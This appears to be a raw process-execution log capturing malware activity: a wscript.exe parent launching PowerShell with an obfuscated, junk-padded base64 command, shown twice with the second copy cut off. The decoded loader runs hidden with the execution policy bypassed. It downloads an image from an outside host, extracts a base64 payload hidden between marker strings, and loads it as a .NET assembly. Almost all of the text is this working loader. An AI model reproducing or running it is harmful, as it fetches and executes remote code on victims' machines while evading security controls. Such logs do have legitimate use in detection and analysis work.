‡ÃKuHczUbP‡ÃKubgBszUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuEQzUbP‡ÃKuYQB0zUbP‡ÃKuGEzUbP‡ÃKuKzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBVzUbP‡ÃKuHIzUbP‡ÃKubzUbP‡ÃKuzUbP‡ÃKupzUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuBpzUbP‡ÃKuG0zUbP‡ÃKuYQBnzUbP‡ÃKuGUzUbP‡ÃKuVzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuBbzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuVzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKuuzUbP‡ÃKuEUzUbP‡ÃKubgBjzUbP‡ÃKuG8zUbP‡ÃKuZzUbP‡ÃKuBpzUbP‡ÃKuG4zUbP‡ÃKuZwBdzUbP‡ÃKuDozUbP‡ÃKuOgBVzUbP‡ÃKuFQzUbP‡ÃKuRgzUbP‡ÃKu4zUbP‡ÃKuC4zUbP‡ÃKuRwBlzUbP‡ÃKuHQzUbP‡ÃKuUwB0zUbP‡ÃKuHIzUbP‡ÃKuaQBuzUbP‡ÃKuGczUbP‡ÃKuKzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBCzUbP‡ÃKuHkzUbP‡ÃKudzUbP‡ÃKuBlzUbP‡ÃKuHMzUbP‡ÃKuKQzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwzUbP‡ÃKu8zUbP‡ÃKuDwzUbP‡ÃKuQgBBzUbP‡ÃKuFMzUbP‡ÃKuRQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuXwBTzUbP‡ÃKuFQzUbP‡ÃKuQQBSzUbP‡ÃKuFQzUbP‡ÃKuPgzUbP‡ÃKu+zUbP‡ÃKuCczUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuGUzUbP‡ÃKubgBkzUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwzUbP‡ÃKu8zUbP‡ÃKuDwzUbP‡ÃKuQgBBzUbP‡ÃKuFMzUbP‡ÃKuRQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuXwBFzUbP‡ÃKuE4zUbP‡ÃKuRzUbP‡ÃKuzUbP‡ÃKu+zUbP‡ÃKuD4zUbP‡ÃKuJwzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBUzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuB0zUbP‡ÃKuC4zUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuE8zUbP‡ÃKuZgzUbP‡ÃKuozUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuKQzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuZQBuzUbP‡ÃKuGQzUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuFQzUbP‡ÃKuZQB4zUbP‡ÃKuHQzUbP‡ÃKuLgBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuTwBmzUbP‡ÃKuCgzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBGzUbP‡ÃKuGwzUbP‡ÃKuYQBnzUbP‡ÃKuCkzUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuHMzUbP‡ÃKudzUbP‡ÃKuBhzUbP‡ÃKuHIzUbP‡ÃKudzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuGczUbP‡ÃKuZQzUbP‡ÃKugzUbP‡ÃKuDzUbP‡ÃKuzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuGczUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCszUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuLgBMzUbP‡ÃKuGUzUbP‡ÃKubgBnzUbP‡ÃKuHQzUbP‡ÃKuazUbP‡ÃKuzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuYgBhzUbP‡ÃKuHMzUbP‡ÃKuZQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuTzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZwB0zUbP‡ÃKuGgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBzzUbP‡ÃKuHQzUbP‡ÃKuYQByzUbP‡ÃKuHQzUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuBizUbP‡ÃKuGEzUbP‡ÃKucwBlzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuBDzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuFQzUbP‡ÃKuZQB4zUbP‡ÃKuHQzUbP‡ÃKuLgBTzUbP‡ÃKuHUzUbP‡ÃKuYgBzzUbP‡ÃKuHQzUbP‡ÃKucgBpzUbP‡ÃKuG4zUbP‡ÃKuZwzUbP‡ÃKuozUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKuszUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBizUbP‡ÃKuGEzUbP‡ÃKucwBlzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuBMzUbP‡ÃKuGUzUbP‡ÃKubgBnzUbP‡ÃKuHQzUbP‡ÃKuazUbP‡ÃKuzUbP‡ÃKupzUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuBjzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuEIzUbP‡ÃKueQB0zUbP‡ÃKuGUzUbP‡ÃKucwzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuBbzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuQwBvzUbP‡ÃKuG4zUbP‡ÃKudgBlzUbP‡ÃKuHIzUbP‡ÃKudzUbP‡ÃKuBdzUbP‡ÃKuDozUbP‡ÃKuOgBGzUbP‡ÃKuHIzUbP‡ÃKubwBtzUbP‡ÃKuEIzUbP‡ÃKuYQBzzUbP‡ÃKuGUzUbP‡ÃKuNgzUbP‡ÃKu0zUbP‡ÃKuFMzUbP‡ÃKudzUbP‡ÃKuByzUbP‡ÃKuGkzUbP‡ÃKubgBnzUbP‡ÃKuCgzUbP‡ÃKuJzUbP‡ÃKuBizUbP‡ÃKuGEzUbP‡ÃKucwBlzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuBDzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuCkzUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuGwzUbP‡ÃKubwBhzUbP‡ÃKuGQzUbP‡ÃKuZQBkzUbP‡ÃKuEEzUbP‡ÃKucwBzzUbP‡ÃKuGUzUbP‡ÃKubQBizUbP‡ÃKuGwzUbP‡ÃKueQzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuBbzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuUgBlzUbP‡ÃKuGYzUbP‡ÃKubzUbP‡ÃKuBlzUbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuBpzUbP‡ÃKuG8zUbP‡ÃKubgzUbP‡ÃKuuzUbP‡ÃKuEEzUbP‡ÃKucwBzzUbP‡ÃKuGUzUbP‡ÃKubQBizUbP‡ÃKuGwzUbP‡ÃKueQBdzUbP‡ÃKuDozUbP‡ÃKuOgBMzUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuCgzUbP‡ÃKuJzUbP‡ÃKuBjzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuEIzUbP‡ÃKueQB0zUbP‡ÃKuGUzUbP‡ÃKucwzUbP‡ÃKupzUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuB0zUbP‡ÃKuHkzUbP‡ÃKuczUbP‡ÃKuBlzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKubzUbP‡ÃKuBvzUbP‡ÃKuGEzUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuGQzUbP‡ÃKuQQBzzUbP‡ÃKuHMzUbP‡ÃKuZQBtzUbP‡ÃKuGIzUbP‡ÃKubzUbP‡ÃKuB5zUbP‡ÃKuC4zUbP‡ÃKuRwBlzUbP‡ÃKuHQzUbP‡ÃKuVzUbP‡ÃKuB5zUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKuZQzUbP‡ÃKuozUbP‡ÃKuCczUbP‡ÃKuRgBpzUbP‡ÃKuGIzUbP‡ÃKuZQByzUbP‡ÃKuC4zUbP‡ÃKuSzUbP‡ÃKuBvzUbP‡ÃKuG0zUbP‡ÃKuZQzUbP‡ÃKunzUbP‡ÃKuCkzUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuG0zUbP‡ÃKuZQB0zUbP‡ÃKuGgzUbP‡ÃKubwBkzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKudzUbP‡ÃKuB5zUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKuZQzUbP‡ÃKuuzUbP‡ÃKuEczUbP‡ÃKuZQB0zUbP‡ÃKuE0zUbP‡ÃKuZQB0zUbP‡ÃKuGgzUbP‡ÃKubwBkzUbP‡ÃKuCgzUbP‡ÃKuJwBWzUbP‡ÃKuEEzUbP‡ÃKuSQzUbP‡ÃKunzUbP‡ÃKuCkzUbP‡ÃKuLgBJzUbP‡ÃKuG4zUbP‡ÃKudgBvzUbP‡ÃKuGszUbP‡ÃKuZQzUbP‡ÃKuozUbP‡ÃKuCQzUbP‡ÃKubgB1zUbP‡ÃKuGwzUbP‡ÃKubzUbP‡ÃKuzUbP‡ÃKuszUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuWwBvzUbP‡ÃKuGIzUbP‡ÃKuagBlzUbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuBbzUbP‡ÃKuF0zUbP‡ÃKuXQzUbP‡ÃKugzUbP‡ÃKuCgzUbP‡ÃKuJwBkzUbP‡ÃKuEgzUbP‡ÃKuazUbP‡ÃKuzUbP‡ÃKuwzUbP‡ÃKuEwzUbP‡ÃKubQBWzUbP‡ÃKuHUzUbP‡ÃKuYgzUbP‡ÃKuzzUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKueQBZzUbP‡ÃKuFYzUbP‡ÃKuYwzUbP‡ÃKuxzUbP‡ÃKuE4zUbP‡ÃKuRzUbP‡ÃKuBNzUbP‡ÃKuHkzUbP‡ÃKuTQBTzUbP‡ÃKuDkzUbP‡ÃKubzUbP‡ÃKuBizUbP‡ÃKuEczUbP‡ÃKubzUbP‡ÃKuBtzUbP‡ÃKuEwzUbP‡ÃKuegBJzUbP‡ÃKuHgzUbP‡ÃKuTQBpzUbP‡ÃKuDQzUbP‡ÃKuegBNzUbP‡ÃKuFQzUbP‡ÃKuRQB1zUbP‡ÃKuE4zUbP‡ÃKuVzUbP‡ÃKuBjzUbP‡ÃKuHgzUbP‡ÃKuTzUbP‡ÃKuBqzUbP‡ÃKuGMzUbP‡ÃKudwBNzUbP‡ÃKuFMzUbP‡ÃKuOzUbP‡ÃKuB2zUbP‡ÃKuE8zUbP‡ÃKubgBCzUbP‡ÃKuDzUbP‡ÃKuzUbP‡ÃKuZzUbP‡ÃKuBHzUbP‡ÃKuGczUbP‡ÃKuPQzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuJwzUbP‡ÃKugzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuDIzUbP‡ÃKuJwzUbP‡ÃKugzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuEYzUbP‡ÃKuaQByzUbP‡ÃKuGUzUbP‡ÃKuZgBvzUbP‡ÃKuHgzUbP‡ÃKucwzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuMQzUbP‡ÃKunzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuLzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCczUbP‡ÃKuQwzUbP‡ÃKu6zUbP‡ÃKuFwzUbP‡ÃKuVwBpzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBvzUbP‡ÃKuHczUbP‡ÃKucwBczUbP‡ÃKuFQzUbP‡ÃKuZQBtzUbP‡ÃKuHzUbP‡ÃKuzUbP‡ÃKuXzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuCwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKunzUbP‡ÃKuEYzUbP‡ÃKuaQByzUbP‡ÃKuGUzUbP‡ÃKuZgBvzUbP‡ÃKuHgzUbP‡ÃKucwzUbP‡ÃKunzUbP‡ÃKuCkzUbP‡ÃKuKQzUbP‡ÃKu=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('zUbPÇKu','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'JzUbP‡ÃKuBpzUbP‡ÃKuG0zUbP‡ÃKuYQBnzUbP‡ÃKuGUzUbP‡ÃKuVQByzUbP‡ÃKuGwzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwBozUbP‡ÃKuHQzUbP‡ÃKudzUbP‡ÃKuBwzUbP‡ÃKuHMzUbP‡ÃKuOgzUbP‡ÃKuvzUbP‡ÃKuC8zUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuHUzUbP‡ÃKuczUbP‡ÃKuBszUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuC4zUbP‡ÃKuaQBvzUbP‡ÃKuC8zUbP‡ÃKuaQBizUbP‡ÃKuC8zUbP‡ÃKuVwBKzUbP‡ÃKuHYzUbP‡ÃKuZQBYzUbP‡ÃKuDczUbP‡ÃKuMQBhzUbP‡ÃKuGczUbP‡ÃKubQBPzUbP‡ÃKuFEzUbP‡ÃKuNgBHzUbP‡ÃKuHczUbP‡ÃKuXwzUbP‡ÃKuxzUbP‡ÃKuDYzUbP‡ÃKuOQzUbP‡ÃKu4zUbP‡ÃKuDczUbP‡ÃKuNgzUbP‡ÃKuyzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuzUbP‡ÃKuyzUbP‡ÃKuC4zUbP‡ÃKuagBwzUbP‡ÃKuGczUbP‡ÃKuJwzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKudwBlzUbP‡ÃKuGIzUbP‡ÃKuQwBszUbP‡ÃKuGkzUbP‡ÃKuZQBuzUbP‡ÃKuHQzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuTgBlzUbP‡ÃKuHczUbP‡ÃKuLQBPzUbP‡ÃKuGIzUbP‡ÃKuagBlzUbP‡ÃKuGMzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuTgBlzUbP‡ÃKuHQzUbP‡ÃKuLgBXzUbP‡ÃKuGUzUbP‡ÃKuYgBDzUbP‡ÃKuGwzUbP‡ÃKuaQBlzUbP‡ÃKuG4zUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuEIzUbP‡ÃKueQB0zUbP‡ÃKuGUzUbP‡ÃKucwzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuHczUbP‡ÃKuZQBizUbP‡ÃKuEMzUbP‡ÃKubzUbP‡ÃKuBpzUbP‡ÃKuGUzUbP‡ÃKubgB0zUbP‡ÃKuC4zUbP‡ÃKuRzUbP‡ÃKuBvzUbP‡ÃKuHczUbP‡ÃKubgBszUbP‡ÃKuG8zUbP‡ÃKuYQBkzUbP‡ÃKuEQzUbP‡ÃKuYQB0zUbP‡ÃKuGEzUbP‡ÃKuKzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBVzUbP‡ÃKuHIzUbP‡ÃKubzUbP‡ÃKuzUbP‡ÃKupzUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuBpzUbP‡ÃKuG0zUbP‡ÃKuYQBnzUbP‡ÃKuGUzUbP‡ÃKuVzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuBbzUbP‡ÃKuFMzUbP‡ÃKueQBzzUbP‡ÃKuHQzUbP‡ÃKuZQBtzUbP‡ÃKuC4zUbP‡ÃKuVzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKuuzUbP‡ÃKuEUzUbP‡ÃKubgBjzUbP‡ÃKuG8zUbP‡ÃKuZzUbP‡ÃKuBpzUbP‡ÃKuG4zUbP‡ÃKuZwBdzUbP‡ÃKuDozUbP‡ÃKuOgBVzUbP‡ÃKuFQzUbP‡ÃKuRgzUbP‡ÃKu4zUbP‡ÃKuC4zUbP‡ÃKuRwBlzUbP‡ÃKuHQzUbP‡ÃKuUwB0zUbP‡ÃKuHIzUbP‡ÃKuaQBuzUbP‡ÃKuGczUbP‡ÃKuKzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBCzUbP‡ÃKuHkzUbP‡ÃKudzUbP‡ÃKuBlzUbP‡ÃKuHMzUbP‡ÃKuKQzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwzUbP‡ÃKu8zUbP‡ÃKuDwzUbP‡ÃKuQgBBzUbP‡ÃKuFMzUbP‡ÃKuRQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuXwBTzUbP‡ÃKuFQzUbP‡ÃKuQQBSzUbP‡ÃKuFQzUbP‡ÃKuPgzUbP‡ÃKu+zUbP‡ÃKuCczUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuGUzUbP‡ÃKubgBkzUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJwzUbP‡ÃKu8zUbP‡ÃKuDwzUbP‡ÃKuQgBBzUbP‡ÃKuFMzUbP‡ÃKuRQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuXwBFzUbP‡ÃKuE4zUbP‡ÃKuRzUbP‡ÃKuzUbP‡ÃKu+zUbP‡ÃKuD4zUbP‡ÃKuJwzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuD0zUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKukzUbP‡ÃKuGkzUbP‡ÃKubQBhzUbP‡ÃKuGczUbP‡ÃKuZQBUzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuB0zUbP‡ÃKuC4zUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuE8zUbP‡ÃKuZgzUbP‡ÃKuozUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuKQzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuZQBuzUbP‡ÃKuGQzUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP‡ÃKuZwBlzUbP‡ÃKuFQzUbP‡ÃKuZQB4zUbP‡ÃKuHQzUbP‡ÃKuLgBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuTwBmzUbP‡ÃKuCgzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBGzUbP‡ÃKuGwzUbP‡ÃKuYQBnzUbP‡ÃKuCkzUbP‡ÃKuOwzUbP‡ÃKukzUbP‡ÃKuHMzUbP‡ÃKudzUbP‡ÃKuBhzUbP‡ÃKuHIzUbP‡ÃKudzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuGczUbP‡ÃKuZQzUbP‡ÃKugzUbP‡ÃKuDzUbP‡ÃKuzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuGczUbP‡ÃKudzUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEkzUbP‡ÃKubgBkzUbP‡ÃKuGUzUbP‡ÃKuezUbP‡ÃKuzUbP‡ÃKugzUbP‡ÃKuCszUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKucwB0zUbP‡ÃKuGEzUbP‡ÃKucgB0zUbP‡ÃKuEYzUbP‡ÃKubzUbP‡ÃKuBhzUbP‡ÃKuGczUbP‡ÃKuLgBMzUbP‡ÃKuGUzUbP‡ÃKubgBnzUbP‡ÃKuHQzUbP‡ÃKuazUbP‡ÃKuzUbP‡ÃKu7zUbP‡ÃKuCQzUbP‡ÃKuYgBhzUbP‡ÃKuHMzUbP‡ÃKuZQzUbP‡ÃKu2zUbP‡ÃKuDQzUbP‡ÃKuTzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZwB0zUbP‡ÃKuGgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKu9zUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBlzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBJzUbP‡ÃKuG4zUbP‡ÃKuZzUbP‡ÃKuBlzUbP‡ÃKuHgzUbP‡ÃKuIzUbP‡ÃKuzUbP‡ÃKutzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuJzUbP‡ÃKuBzzUbP‡ÃKuHQzUbP‡ÃKuYQByzUbP‡ÃKuHQzUbP‡ÃKuSQBuzUbP‡ÃKuGQzUbP‡ÃKuZQB4zUbP‡ÃKuDszUbP‡ÃKuJzUbP‡ÃKuBizUbP‡ÃKuGEzUbP‡ÃKucwBlzUbP‡ÃKuDYzUbP‡ÃKuNzUbP‡ÃKuBDzUbP‡ÃKuG8zUbP‡ÃKubQBtzUbP‡ÃKuGEzUbP‡ÃKubgBkzUbP‡ÃKuCzUbP‡ÃKuzUbP‡ÃKuPQzUbP‡ÃKugzUbP‡ÃKuCQzUbP‡ÃKuaQBtzUbP‡ÃKuGEzUbP